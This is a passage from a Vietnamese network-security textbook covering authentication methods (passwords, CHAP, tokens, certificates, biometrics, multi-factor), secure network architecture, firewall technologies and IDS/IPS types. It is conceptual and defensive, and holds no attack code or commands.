Cơ chế thay đổi mật khẩu không được tiêu chuẩn hóa.

38
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

3.3. Xác thực dựa trên username/password

- Sự kết hợp của một user name và password là cách xác thực cơ bản nhất và lâu
đời nhất. Hầu hết các dòng hệ điều hành máy tính trên thế giới đều sử dụng
phương pháp chứng thực trừ khi nó không được thiết kế để phục vụ nhiều người
dùng. Mỗi hệ điều hành đều có chính sách về việc tạo và duy trì mật khẩu của
người dùng, nhưng thông thường các chính sách đó sẽ qui định một hoặc một vài
những thông số sau:

 Chiều dài mật khẩu (thường tối thiểu là 6)


 Độ phức tạp (mật khẩu phải bao gồm chữ hoa, chứ thường, số, ký tự đặc
biệt)
 Mật khẩu không được là các từ có trong từ điển (ví dụ : university,
security…)
 Mật khẩu không được chứa các thành phần của tên người dùng (ví dụ:
trường hợp người dùng là Anhdh, mật khẩu là Anhdh@123 là không thỏa
mãn)
 .v.v.

3.4. CHAP (Challenge Handshake Authentication Protocol)

- Một trong những phương pháp để bảo mật thông tin trong truy cập từ xa đó là
CHAP. Chap là giao thức xác thực người dùng truy cập từ xa trong các phiên kết
nối PPP (Point-to-Point Protocol).

- CHAP xác thực dựa trên nguyên tắc bắt tay 3 bước:

39
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Nguyên tắc xác thực 3 bước của CHAP

Nguyên tắc này có thể mô tả như sau:

- Khi muốn kết nối PPP đến HQ, Remote User nó sẽ gửi 1 gói tin xin thiết lập kết
nối, gói tin này có chứa thông tin về tên user (hostname).

- Central-Site sẽ kiểm tra database của nó để tìm tên tài khoản và mật khẩu của
Remote User (ở đây mật khẩu của user: School là Student). Sau đó, HQ sẽ sinh ra
1 thông điệp ngẫu nhiên, gọi là Challege Message và gửi nó trở lại cho Remote
User. Đồng thời, HQ dùng hàm băm 1 chiều MD5 để mã hóa cả mật khẩu của
Remote User và Challenge Message thành một chuỗi giá trị băm (Hash Value 1 )

- Remote User nhận được Challenge Message cũng sử dụng hàm băm một chiều
MD5 để mã hóa mật khẩu của mình cùng Challege Message để được chuối giá trị
băm (Hash Value 2). Sau đó Remote User gửi gói tin chứa chuỗi giá trị băm này
(hash value 2) tới HQ.

- HQ kiểm tra 2 giá trị băm (Hash Value 1 và 2) này, nếu khớp nhau thì đồng ý
thiết lập kết nối và gửi gói tin thông báo kết nối cho Remote User. Ngược lại, kết
nối bị từ chối.

Rõ ràng, với CHAP, mật khẩu của người dùng không được truyền trên môi trường
mạng dưới dạng “cleartext”, tránh được các kiểu tấn công nghe lén, bắt gói tin…

3.5. TOKEN

Tokens là phương tiện vật lý như các thẻ thông minh (smart cards) hoặc thẻ đeo
của nhân viên (ID badges) chứa thông tin xác thực. Tokens có thể lưu trữ số nhận
dạng cá nhân-personal identification numbers (PINs), thông tin về người dùng,
hoặc mật khẩu... Các thông tin trên token chỉ có thể được đọc và xử lý bởi các thiết
bị đặc dụng, ví dụ như thẻ smart card được đọc bởi đầu đọc smart card gắn trên
máy tính, sau đó thông tin này được gửi đến máy chủ xác thực (authenticating
server). Tokens chứa chuỗi text hoặc giá trị số duy nhất và thông thường mỗi giá
trị này chỉ sử dụng một lần.

3.6. Chứng chỉ số (Certificates)

3.6.1. Chứng chỉ số là gì ?

40
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Chứng chỉ số là một tệp tin điện tử được sử dụng để nhận diện một cá nhân, một
máy chủ, một công ty, hoặc một vài đối tượng khác và gắn chỉ danh của đối tượng
đó với một khoá công khai (public key). Giống như bằng lái xe, hộ chiếu, chứng
minh thư hay những giấy tờ nhận diện cá nhân thông thường khác, chứng chỉ số
cung cấp bằng chứng cho sự nhận diện của một đối tượng. Hệ mã khoá công khai
sử dụng chứng chỉ số để giải quyết vấn đề mạo danh.

Để lấy được bằng lái xe, bạn cần phải đăng ký với Phòng cảnh sát giao thông. Họ
sẽ cấp cho bạn bằng lái xe sau khi đã xác định các thông tin về bạn như: có khả
năng lái xe, họ và tên, địa chỉ, và những thông tin cần thiết khác. Để lấy được
chứng chỉ số bạn cũng cần phải thực hiện các công việc đăng ký tương tự như vậy.
Nơi có thể chứng nhận những thông tin của bạn là chính xác được gọi là Nhà cấp
chứng chỉ số (Certificate Authority viết tắt là CA), một tổ chức có thẩm quyền xác
nhận chỉ danh và cấp các chứng chỉ số. Họ có thể là một thành phần thứ ba đứng
độc lập hoặc các tổ chức tự vận hành phần mềm cấp chứng chỉ số của mình. Các
phương pháp để xác định chỉ danh phụ thuộc vào các chính sách mà CA đặt ra.
Chính sách lập ra phải đảm bảo việc cấp chứng chỉ số phải đúng đắn, ai được cấp
và mục đích dùng vào việc gì. Thông thường, trước khi cấp một chứng chỉ số, CA
sẽ công bố các thủ tục cần phải thực hiện cho các loại chứng chỉ số.

Trong chứng chỉ số chứa một khoá công khai được gắn với một tên duy nhất của
một đối tượng (như tên của một nhân viên hoặc server). Chứng chỉ số giúp ngăn
chặn việc sử dụng khoá công khai cho việc giả mạo. Chỉ có khoá công khai được
chứng thực bởi chứng chỉ số mới làm việc với khoá riêng (private key) tương ứng
được sở hữu bởi đối tượng mà có chỉ danh đã được chứng thực nằm trong chứng
chỉ số.

Ngoài khoá công khai, một chứng chỉ số còn chứa thêm tên của đối tượng mà nó
nhận diện, hạn dùng, tên của CA cấp chứng chỉ số đó, mã số thứ tự, và những
thông tin khác. Điều quan trọng nhất là một chứng chỉ số luôn luôn chứa chữ ký số
của CA đã cấp chứng chỉ số đó. Nó cho phép chứng chỉ số như đã được đóng dấu
để cho người sử dụng biết và tin cậy vào CA.

Chứng chỉ số là một tệp tin điện tử được sử dụng để nhận diện một cá nhân, một
máy chủ, một công ty, hoặc một vài đối tượng khác và gắn chỉ danh của đối tượng
đó với một khoá công khai (public key)

3.6.2. Lợi ích khí sử dụng chứng chỉ số

41
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Việc kết nối qua mạng Internet hiện nay chủ yếu sử dụng giao thức TCP/IP.
TCP/IP cho phép các thông tin được gửi từ một máy tính này tới một máy tính
khác thông qua một loạt các máy trung gian hoặc các mạng riêng biệt trước khi nó
có thể đi tới được đích. Tuy nhiên, chính vì tính linh hoạt này của giao thức
TCP/IP đã tạo cơ hội cho “bên thứ ba” có thể thực hiện các hành động bất hợp
pháp, cụ thể là:

- Nghe trộm (Eavesdropping). Thông tin vẫn không hề bị thay đổi, nhưng sự bí mật
của nó thì không còn. Ví dụ, một ai đó có thể biết được số thẻ tín dụng, các thông
tin cần bảo mật của bạn.

- Giả mạo (Tampering). Các thông tin trong khi truyền đi bị thay đổi hoặc thay thế
trước khi đến người nhận. Ví dụ, một ai đó có thể sửa đổi một đơn đặt hàng hoặc
thay đổi lý lịch của một cá nhân.

- Mạo danh (Impersonation). Thông tin được gửi tới một cá nhân mạo nhận là
người nhận hợp pháp. Có hai hình thức mạo danh sau:

+ Bắt chước (Spoofing). Một cá nhân có thể giả vờ như một người khác. Ví dụ,
dùng địa chỉ mail của một người khác hoặc giả mạo một tên miền của một trang
web.

+ Xuyên tạc (Misrepresentation). Một cá nhân hay một tổ chức có thể đưa ra
những thông tin không đúng sự thật về họ. Ví dụ, có một trang web mạo nhận
chuyên về kinh doanh trang thiết bị nội thất, nhưng thực tế nó là một trang chuyên
ăn cắp mã thẻ tín dụng và không bao giờ gửi hàng cho khách.

Bình thường, mọi người vẫn sử dụng mạng Internet để có thể liên lạc với nhau,
nhưng thông tin phải đi qua một loạt các máy trung gian. Trong số đó có một số
người cần bảo mật các thông tin cá nhân và kinh doanh của họ. May mắn thay, có
một vài chuẩn chung hiện nay được biết như hệ mã khoá công khai (public key
cryptography) có thể giải quyết được vấn đề này. Hệ mã khoá công khai với chứng
chỉ số và các công nghệ liên quan có thể thực hiện các nhiệm vụ sau:

- Mã hoá và giải mã: cho phép hai đối tác giao thiệp với nhau có thể che giấu thông
tin mà họ gửi cho nhau. Người gửi mã hoá các thông tin trước khi gửi chúng đi,
người nhận sẽ giải mã trước khi đọc. Trong khi truyền, các thông tin sẽ không bị
lộ.

42
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

- Chống lại sự giả mạo: cho phép người nhận có thể kiểm tra thông tin có bị thay
đổi hay không. Bất kỳ một sự thay đổi hay thay thế nội dụng của thông điệp gốc
đều sẽ bị phát hiện.

- Xác thực: cho phép người nhận có thể xác định chỉ danh của người gửi.

- Không thể chối cãi nguồn gốc: ngăn chặn người gửi chối cãi nguồn gốc tài liệu
mình đã gửi.

3.7. Sinh trắc học (Biometrics)

Sinh trắc học dùng để chỉ nhánh nghiên cứu các cách dùng các dấu hiệu của các bộ
phận trong cơ thể (như dấu tay, ảnh mặt, ảnh mắt, DNA, …) để nhận ra (identify)
một cá thể. Và sinh trắc học được áp dụng trong bảo mật hệ thống như một phương
pháp xác thực cao cấp. Bảo mật sinh trắc học dựa trên những đặc điểm riêng biệt
của mỗi cơ thể để xác định danh tính cá nhân và trên lý thuyết, được coi là có thể
đạt độ chính xác 100%. Tuy nhiên, nhiều vấn đề đang tồn tại đã khiến công nghệ
này chưa được triển khai rộng rãi. Đó là vấn đề về mặt hạ tầng công nghệ, về chi
phí triển khai, và về khả năng nhận dạng sai.

3.8. Xác thực kết hợp nhiều nhân tố (Multi-Factor)

Như tên gọi của cách xác thực này, xác thực dựa trên sự kết hợp của nhiều yếu tố.
Các yếu tố có rất nhiều, nhưng có thể tóm gọn trong ba nhóm sau:

- “Cái bạn biết”: ví dụ: mật khẩu, PIN…

- “Cái bạn có”: ví dụ: Token, Smart Card…

- “Bạn là ai”: ví dụ: dấu vân tay, võng mạc, giọng nói…

Ví dụ về xác thực kết hợp nhiều nhân tố là khi bạn rút tiền ở máy ATM, bạn vừa
phải đưa thẻ (cái bạn có) vào hệ thống, vừa phải nhập mật khẩu (cái bạn biết).

Rõ ràng, việc sử dụng phương pháp xác thực kết hợp cho phép xác thực đa lớp, an
toàn hơn rất nhiều. Tuy nhiên, cũng không nên quá lạm dụng, tránh sự bất tiện gây
ra cho người dùng.

43
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

3.9. Xác thực lẫn nhau (Mutual Authentication)

- Là kiểu xác thực mà mỗi thành phần tham gia đều phải xác thực lẫn nhau trước
khi kết nối hoặc truy cập được thiết lập.

- Phương pháp xác thực lẫn nhau cho phép an tâm rằng kết nối của bạn không bị
tấn công Man In The Middle (MITM) hay đang bị chuyển tiếp tới một ai đó khác.

4. Giám sát thống kê (Accounting)

Giám sát thống kê là quá trình theo dõi (tracking), ghi lại (logging) các sự kiện, các
hoạt động, các lỗi, các truy cập tới hệ thống… ví dụ: Tại sao máy chủ lại bị
shutdown, vào chính xác thời điểm nào, ai là người truy cập cuối cùng, anh ta đã
làm gì trên hệ thống…

Chức năng giám sát, thống kê được tích hợp trong hầu hết các hệ điều hành, tuy
nhiên, người quản trị thường phải tự xác định loại đối tượng, sự kiện nào cần theo
dõi.

Việc theo dõi và quản lý hệ thống thường gắn liền với việc đọc và phân tích log
file.

44
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

PHẦN 2
AN NINH HẠ TẦNG

45
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

CHƯƠNG 1: MÔ HÌNH MẠNG BẢO MẬT

1. Lời mở đầu

Trước tình hình về an ninh mạng hiện nay, việc xây dựng một mô hình mạng hoạt
động hiệu quả đồng thời đảm bảo tính an ninh là một nhu cầu không thể thiếu đối
với tất cả các hệ thống từ nhỏ đến lớn. Tuy nhiên, việc xây dựng được 1 mô hình
mạng cụ thể phụ thuộc rất nhiều vào nhu cầu sử dụng dịch vụ của doanh nghiệp,
khả năng tài chính, trình độ quản trị… Trong nội dung tài liệu tổng quan an ninh
mạng này, tôi xin giới thiệu một mô hình mạng tương đối đầy đủ những khía cạnh
an ninh. Qua đó, giúp cho người đọc có cái nhìn tổng quan về các thành phần của
một hệ thống đảm bảo an ninh.

2. Phân đoạn mạng (Segmentation)

Network Segments

Toàn bộ hệ thống bên trong nội bộ nên được phân đoạn mạng thành những mạng
con. Việc phần đoạn mạng này có thể thực hiện bằng các bộ định tuyến (Router),
Switch hay tường lửa nhằm cung cấp các lợi ích sau:

46
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

 Phân tách các vùng chứa tài nguyên quan trọng (Database, Application…)
với những phần khác (người dùng, tài nguyên chia sẻ…)

 Áp dụng chính sách an ninh khác nhau với từng vùng. (ví dụ: vùng Người
dùng có thể truy cập Internet, vùng Database thì bị cấm…)

 Cô lập từng vùng sẽ giúp giảm thiểu tác hại của Virus.

 Khoanh vùng điểm bị lỗi dễ dàng.

 Tăng hiệu năng hệ thống (giảm broadcast)

3. Các điểm truy cập (Network Access Points)

Các điểm truy cập mạng

Các điểm truy cập mạng là thành phần không thể thiếu đối với hệ thống mạng. Nó
cho phép hệ thống nội bộ của tổ chức kết nối tới hệ thống bên ngoài, và ngược lại.

47
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Mỗi điểm truy cập mạng đều tiềm tàng những nguy cơ về bảo mật. Việc xác định
từng điểm truy cập mạng và các nguy cơ là điều vô cùng quan trọng trong việc bảo
vệ hệ thống.

4. Router và Switch

Router và Switch trong hệ thống

Nhiệm vụ chính của Router là định tuyến, đảm bảo kết nối thông suốt trong hệ
thống. Tuy nhiên, Router cũng cung cấp 1 số cơ chế bảo mật như Access Control
List (ACL) hay phân đoạn mạng (như đã nói trên).

Switch có nhiệm vụ chính là để mở rộng mạng và cung cấp một số tính năng bảo
mật như : Virtual LAN (VLAN), Port Security …

5. Tường lửa

Là trạm phòng thủ đầu tiên của hệ thống. Nhiệm vụ chính của tường lửa là ngăn
chặn các truy cập trái phép từ bên ngoài vào hệ thống nội bộ và ngược lại. Ngoài
ra, tường lửa còn có tác dụng chia hệ thống mạng thành các vùng (Zones) với các
chính sách an ninh khác nhau.

48
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

6. Thiết bị phát hiện/ngăn chặn xâm nhập

49
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

IDS/IPS (Instrusion Detection System/ Instrucsion Prevention System) là thiết bị


cho phép phát hiện và ngăn chặn tấn công dựa trên một số phương thức khác nhau.

IDS/IPS có 2 loại: Network-based IDS và Host-based IDS.

7. Truy cập từ xa (Remote Access)

Nếu tổ chức luôn có những người dùng di động, hoặc có đối tác ở xa, nhu cầu truy
cập từ xa là 1 nhu cầu không thể thiếu. Để đảm bảo an ninh, chúng ta nên xây dựng
mô hình truy cập từ xa sử dụng công nghệ mạng riêng ảo.

Công nghệ này cho phép thiết lập kết nối an toàn từ người dùng, tổ chức ở xa vào
hệ thống nội bộ thông qua 1 kênh truyền ảo trên môi trường mạng dùng chung
(Internet).

Tuy nhiên, cũng có thể sử dụng công nghệ truy cập từ xa cũ hơn, đó là công nghệ
quay số Dial-in.

50
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

8. Security Event Management (Thiết bị quản lý sự kiện tập trung)

Security Event Management (SEM) là thiết bị hỗ trợ cho IDS/IPS cũng như an
ninh hệ thống nói chung. SEM có khả năng đọc và tổng hợp log file của tất cả các
thiết bị trong hệ thống. Từ đó, phân tích và đưa ra những cảnh báo về nguy cơ bảo
mật cho người quản trị.

9. Hệ thống dò tìm điểm yếu (Vulnerability Management)

Thường là các công cụ được quản trị hệ thống sử dụng để dò phát hiện những điểm
yếu, những lỗi bảo mật mà hacker có thể lợi dụng để khai thác, thâm nhập hệ
thống. Qua đó, người quản trị sẽ đưa ra những giải pháp sửa lỗi, tăng cường an
ninh cho hệ thống.

51
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Hệ thống dò tìm điểm yếu

52
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

CHƯƠNG 2: TƯỜNG LỬA

1. Khái niệm

- Tường lửa là thiết bị được dùng phổ biến nhất để bảo vệ hệ thống mạng nội bộ
(internal network) trước sự tấn công từ bên ngoài. Khi được cấu hình chính xác, 1
tường lửa có thể ngăn cản sự truy cập trái phép vào hệ thống, cũng như kiểm soát
người dùng nội bộ kết nối ra bên ngoài.

- Có 3 loại công nghệ tường lửa phổ biến hiện nay, đó là:

 Packet Filtering

 Application Layer Gateways (Application Filtering)

 Stateful Inspection (Stateful Packet Filtering)

2. Các công nghệ tường lửa

2.1. Packet Filtering (lọc gói tin)

Một tường lửa sử dụng công nghệ Packet Filtering cho phép hay từ chối truy cập
dựa trên cổng dịch vụ và/hoặc địa chỉ IP. Thông thường loại tường lửa này thường
có 1 trong 2 luật (rules) mặc định sau:

 Allow by Default: Luật này cho phép tất cả giao thông mạng đi qua tường
lửa ngoại trừ những giao thông được người quản trị thiết lập cụ thể.

 Deny by Default: Luật này cấm tất cả giao thông mạng đi qua tường lửa
ngoại trừ những giao thông được người quản trị thiết lập để cho phép.

Rõ ràng, luật “Deny by Default” là chính sách an ninh tốt nhất bởi vì nó hạn chế
tới mức thấp nhất khả năng truy cập trái phép vào hệ thống. Thường thi người quản
trị sẽ sử dụng luật này để cấm tất cả các cổng dịch vụ, ngoại trừ những dịch vụ thật
cần thiết đối với nhu cầu tổ chức. Ví dụ, một người quản trị sẽ cấu hình cấm tất cả
các truy cập từ bên ngoài vào vùng phi quân sự (DMZ) ngoại trừ cổng 80 dành cho
dịch vụ HTTP nếu tổ chức có nhu cầu xuất bản website.

53
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Như đã nhắc đến ở trên, một tường lửa hoạt động theo 2 hướng. Nó có thể đồng
thời ngăn chặn những truy cập từ bên ngoài hệ thống và kiểm soát người dùng kết
nối ra bên ngoài. Ý thứ hai rất có ích trong trường hợp giả thiết sau: Đó là khi 1
máy tính trong mạng nội bộ bị cài Trojan Horse. Sau khi cài đặt thành công trên
máy tính nạn nhân, các chương trình Trojan horse thường phải kết nối đến một
cổng nào đó trên máy Hacker để truyền thông tin về. Bằng cách cấm truy cập từ hệ
thống nội bộ đến các cổng dịch vụ bên ngoài, tường lửa đã vô hiệu hóa tác dụng
của Trojan Horse (mặc dù máy tính bên trong hệ thống vẫn nhiễm)

Vậy cổng dịch vụ là gì ?

Trước tiên, chúng ta cần biết rằng có hơn 216 (65,535) cổng; trong đó, các cổng từ
0 đến 1023 được gọi là “well-known ports” (cổng thông dụng). Các cổng này
thường được sử dụng cho các dịch vụ mạng cụ thể. Có thể tóm tắt 1 số cổng thông
dụng sau:

20 FTP Active Mode Control Port

21 FTP Active Mode Data Port

22 Secure Shell (SSH)

23 Telnet

25 Simple Mail Transfer Protocol (SMTP)

80 Hypertext Transfer Protocol (HTTP)

110 Post Office Protocol 3 (POP3)

119 Network News Transfer Protocol (NNTP)

143 Internet Message Access Protocol (IMAP)

443 Secure Sockets Layer (SSL) (HTTPS)

Các cổng dịch vụ từ 1024 trở lên sẽ là Registered Ports hoặc Dynamic/Private
Ports.

54
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Như vậy, một cổng là một điểm kết nối đến thiết bị. Cổng có thể là thực thể vật lý
như các cổng serial, cổng parallel hay là một đối tượng logic. Cổng logic là các
cổng được sử dụng bởi các giao thức như một điểm kết nối đến 1 thiết bị mạng. Vì
một thiết bị mạng có thể có hàng ngàn kết nối tới nó cùng lúc, các cổng logic được
sử dụng để phân biệt giữa các kết nối đó.

Công nghệ Packet Filtering dựa trên cổng dịch vụ (cổng logic) và địa chỉ IP để cho
phép/ngăn cấm truy cập. Công nghệ này có cả điểm mạnh và yếu. Một trong những
điểm mạnh dễ nhận thấy là tốc độ. Vì chỉ có phần tiêu đề (header) của gói tin
(packet) được phân tích dựa trên một bảng luật (table of rules) khá đơn giản, nên
công nghệ này xử lý thông tin rất nhanh. Một điểm mạnh nữa của công nghệ này
đó là tính dễ cấu hình, dễ quản lý. Các luật được định nghĩa đối với loại tường lửa
này khá đơn giản, rõ ràng nên việc cấu hình và quản lý rất thuận tiện. Ngoài ra, hầu
hết các dòng thiết bị định tuyến đều được tích hợp công nghệ này (Access Control
List).

55
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Tuy nhiên, công nghệ này còn có những điểm hạn chế nhất định. Công nghệ này
không phải là một công nghệ thông minh cho lắm. Bởi vì khi, một cổng dịch vụ
nào đó được mở, nó sẽ luôn mở, dù có phiên kết nối hay không. Nghĩa là luôn tồn
tại những lỗ hổng mà hacker có thể lợi dụng khai thác. Để giải thích cho luận
điểm trên, chúng ta xét ví dụ cụ thể sau: Giả sử tường lửa được cấu hình cho phép
người dùng từ nội bộ có thể duyệt web bên ngoài (mở cổng 80). Trên thực tế, trên
máy người dùng đã mở 1 cổng bất kì (cao hơn 1023, ví dụ 2031) để nhận thông tin
trả về từ máy chủ web bên ngoài. Nhưng tường lửa dạng Packet Filtering không
thể biết chính xác rằng chỉ nên mở duy nhất cổng 2031 để nhận gói tin trả về, do
vậy, nó mở tất cả các cổng cao hơn 1023. Và như vậy, hacker hoàn toàn có thể lợi
dụng điểm yếu này để khai thác máy tính người dùng trong mạng nội bộ.

Ngoài ra, điểm yếu nữa của công nghệ này là nó không có khả năng hiểu nội dung
của gói tin. Do đó, nếu một gói tin với tiêu đề hợp lệ, nhưng nội dung lại chứa mã
độc chẳng hạn, nó dễ dàng vượt qua được tường lửa loại này.

2.2. Application Filtering (lọc ứng dụng)

Công nghệ tường lửa thứ hai mà tôi đề cập đến là công nghệ Application Filtering
hay Application Layer Gateway. Công nghệ này được coi là an toàn hơn công nghệ
Packet Filtering vì nó phân tích toàn bộ gói tin, thay vì chỉ phần tiêu đề.

Một trong những điểm mạnh của công nghệ này là khả năng xử lý theo nội dung
gói tin. Ví dụ, tường lửa sử dụng công nghệ này có thể phát hiện ra gói tin của ứng
dụng Trojan Horse đang được gửi thông qua cổng 80 và qua đó có thế khóa kết nối
đó.

Công nghệ này được sử dụng để làm máy chủ proxy, cho phép kiểm soát nội dung
truy cập web của người dùng, và tăng cường bảo mật hệ thống bằng cách giúp ẩn
danh người dùng.

Rõ ràng công nghệ Application Filtering là một công nghệ khá an toàn và hiệu quả,
tuy nhiên, nó vẫn có điểm hạn chế. Ngược với công nghệ Packet Filtering, công
nghệ Application Filtering hoạt động chậm hơn, do phải kiểm tra toàn bộ gói tin và
sau đó phải xét trên một bảng luật phức tạp hơn. Cũng về vấn đề bảng luật, rõ ràng,
công nghệ này yêu cầu người quản trị phải có trình độ kỹ thuật tốt để có thể cấu
hình và quản lý các luật phức tạp hơn.

56
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

2.3. Stateful Inspection Firewall

Là sự kết hợp của hai công nghệ tường lửa ở trên, Stateful Inpection hay Stateful
Packet Filtering được coi là thế hệ tường lửa thông minh, nó khắc phục được
những hạn chế của các loại công nghệ cũ, đồng thời tăng cường tính bảo mật. Công
nghệ Stateful Inpection không thật sự phá bỏ cấu trúc Client/Server như công nghệ
Application Filtering, do đó, nó hoạt động nhanh hơn. Nó cũng bảo mật hơn nhiều
so với công nghệ Packet Filtering dựa trên cách gói tin được xử lý.

Tính năng chính của công nghệ Stateful Inpection là khả năng kiểm soát ứng dụng
và trạng thái kết nối. Stateful Inpection kiểm tra toàn bộ gói tin ở lần truy cập đầu
tiên, nếu thỏa mãn các luật cho phép, nó sẽ lưu các thông tin về kết nối này vào 1
bảng gọi là bảng trạng thái “state table”. Sau đó, các gói tin tiếp theo chỉ việc đối
chiếu với bảng trạng thái này và được đi qua tường lửa. Khi phiên kết nối kết thúc,
tường lửa sẽ lại xóa các thông tin về kết nối đó trong bảng trạng thái. Điều này cho
phép tường lửa xử lý linh động và an toàn hơn rất nhiều so với các loại công nghệ
trước.

57
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Trở lại ví dụ ở trên, trong khi tường lửa dạng Packet Filtering phải mở tất cả các
cổng cao hơn 1023 từ bên ngoài vào máy tính người dùng, tường lửa dạng Stateful
Inpection xem xét toàn bộ gói tin ở lần đầu tiên và ghi nhận cổng trả về là 2031, do
đó, nó chỉ mở cổng 2031 để nhận thông tin trả về. Và khi phiên kết nối kết thúc, nó
sẽ tự động đóng cổng đó lại.

58
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

CHƯƠNG 3: THIẾT BỊ PHÁT HIỆN/NGĂN CHẶN XÂM NHẬP

1. Khái niệm

Trước tiên, chúng ta cần phân biệt rõ khái niệm IDS và IPS.

 IDS (Intrusion Detection System): Hệ thống phát hiện xâm nhập

Ra đời cách đây khoảng hơn 25 năm, đúng như tên gọi của nó, IDS là một
hệ thống có khả năng phát hiện xâm nhập, qua đó ghi nhận và thông báo cho
người quản trị. Rõ ràng, nhược điểm của IDS là không có tác động trực tiếp
đến một hành vi xâm nhập nào đó và cần nhiều công sức của người quản trị.

 IPS: Intrusion Prevention System: Hệ thống phát hiện và ngăn chặn xâm
nhập

Thế hệ sau của IDS-hệ thống tự động phát hiện và ngăn chặn xâm nhập IPS-
đã dần khắc phục được các mặt còn hạn chế của IDS và hoạt động hiệu quả
hơn nhiều so với thế hệ trước đó. Ngày nay, các hệ thống đều hướng đến sử
dụng giải pháp IPS thay vì IDS do đặc tính vượt trội của nó. Hơn nữa, một
IPS có thể hoạt động như một IDS bằng việc ngắt bỏ chức năng tự động
ngăn chặn xâm nhập.

Sau đây chúng ta quy ước khi nói IDS/IPS nghĩa là đề cập tới cả hai loại công nghệ
này.

Một cách ngắn gọn nhất, IDS/IPS là một thiết bị chuyên dụng có thể đọc và phân
tích nội dung các file log từ thiết bị định tuyến, tường lửa, máy chủ hay có thể lắng
nghe gói tin lưu thông trong hệ thống. Ngoài ra, IDS/IPS thường có một cơ sở dữ
liệu lưu trữ các dấu hiệu tấn công đã biết và sử dụng nó để so sánh với các hoạt
động, lưu thông hay phản ứng của hệ thống. Khi một hoạt động nào đó khớp với
một trong các dấu hiệu tấn công, IDS/IPS sẽ có cơ chế báo động và những phản
ứng khác nhau như ra lệnh cho tường lửa ngắt kết nối, shutdown máy chủ, tăng
cường các hoạt động đánh giá, kiểm tra để xác định kẻ tấn công… Như vậy,
IDS/IPS là hệ thống (thiết bị) có khả năng phát hiện và sau đó có thể gây khó khăn
hoặc ngăn chặn hoàn toàn cuộc tấn công hoặc những truy cập trái phép vào hệ
thống.

59
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

2. Các loại IDS/IPS

2.1. Phân loại theo phạm vi hoạt động

Cũng như tường lửa, IDS/IPS có thể là một sản phẩm phần mềm hay một thiết bị
phần cứng. Nhưng dù là phần mềm hay phần cứng, thì IDS/IPS cũng là một trong
ba loại sau:

 Network-based IDS/IPS : IDS/IPS dùng cho toàn mạng

 Host-based IDS/IPS: IDS/IPS dùng cho thiết bị (thường là máy chủ)

 Application-based IDS/IPS: IDS/IPS dùng cho ứng dụng

2.1.1. Network-based IDS/IPS

N-IDS/IPS là loại IDS/IPS kiểm soát mọi biểu hiện, hoạt động của mạng và tìm
kiếm các dấu hiệu tấn công.

Pros:

 NIDS/IPS có thể kiểm soát toàn bộ hệ thống mạng với chỉ một hoặc một vài
thiết bị dẫn đến khả năng tiết kiệm chi phí.

 Có cái nhìn tổng quan về một cuộc xâm nhập hệ thống.

 Dễ dàng cấu hình và tương thích với hệ thống.

Cons:

 Phản ứng lại các cuộc tấn công khá chậm.

 Đối với một hệ thống lớn với lưu lượng mạng rất cao, N-IDS/IPS có nguy cơ
bỏ sót các dấu hiệu tấn công do không thể kiểm soát và phân tích được đầy
đủ lưu thông mạng.

 N-IDS/IPS không có khả năng phân tích gói tin đã được mã hóa hoặc nhận
biết được một cuộc tấn công nào đó đã thành công hay thất bại.

60
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

2.1.2. Host-based IDS/IPS

H-IDS/IPS là loại IDS/IPS hoạt động trên từng thiết bị và kiểm soát hoạt động của
thiết bị cũng như các tệp tin hệ thống để phát hiện xâm nhập.

Pros:

 H-IDS/IPS kiểm soát được một cách chi tiết hơn N-IDS/IPS, thậm chí có thể
xác định được từng tiến trình (process) hay người dùng nào có liên quan đến
những hoạt động có ảnh hưởng không tốt tới hệ thống.

 Hỗ trợ rất tốt trong việc phát hiện các cuộc tấn công mà N-IDS/IPS bỏ sót và
có thể đánh giá tác hại của một cuộc tấn công khá chính xác.

 Có thể sử dụng dịch vụ Host-based encryption để phân tích những gói tin đã
mã hóa.

 Có thể hoạt động hiệu quả ở môi trường mạng băng thông lớn (Switch-based
network)

Cons:

 Phạm vi hoạt động là khá nhỏ. Nếu dùng hệ thống với nhiều HIDS sẽ gặp
vấn đề về chi phí, về khả năng quản lý tập trung…

 H-IDS/IPS thường là phần mềm cài trên những máy tính quan trọng cần bảo
vệ, việc H-IDS/IPS xử lý hoạt động hệ thống có thể gây tốn thời gian, tốn tài
nguyên của máy tính.

 Thậm chí, hacker có thể khai thác H-IDS/IPS để tấn công DOS cục bộ.

 Không có tầm nhìn bao quát về sự xâm nhập hệ thống.

2.1.3. Application-based IDS/IPS

AIDS/IPS hoạt động với các ứng dụng, nghĩa là nó chỉ kiểm soát đối với từng ứng
dụng cụ thể.

61
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Pros:

 Phát hiện được chính xác được rất nhiều kiểu tấn công và các hoạt động gây
hại.

 Có khả năng lưu vết tốt (theo dõi hành động của một người dùng nào đó)

 Có thể phân tích cả dữ liệu đã được mã hóa.

Cons:

 Phạm vi hoạt động khá hạn chế do chỉ làm việc với 1 số ứng dụng.

 Tiêu tốn tài nguyên máy tính một cách đáng kể.

2.2. Phân loại theo nguyên lý hoạt động của IDS/IPS

Không chỉ phân biệt theo phạm vi hoạt động, IDS/IPS còn có thể phân biệt theo
nguyên lý hoạt động hay kỹ thuật phân tích dữ liệu. Một số IDS/IPS sử dụng kỹ
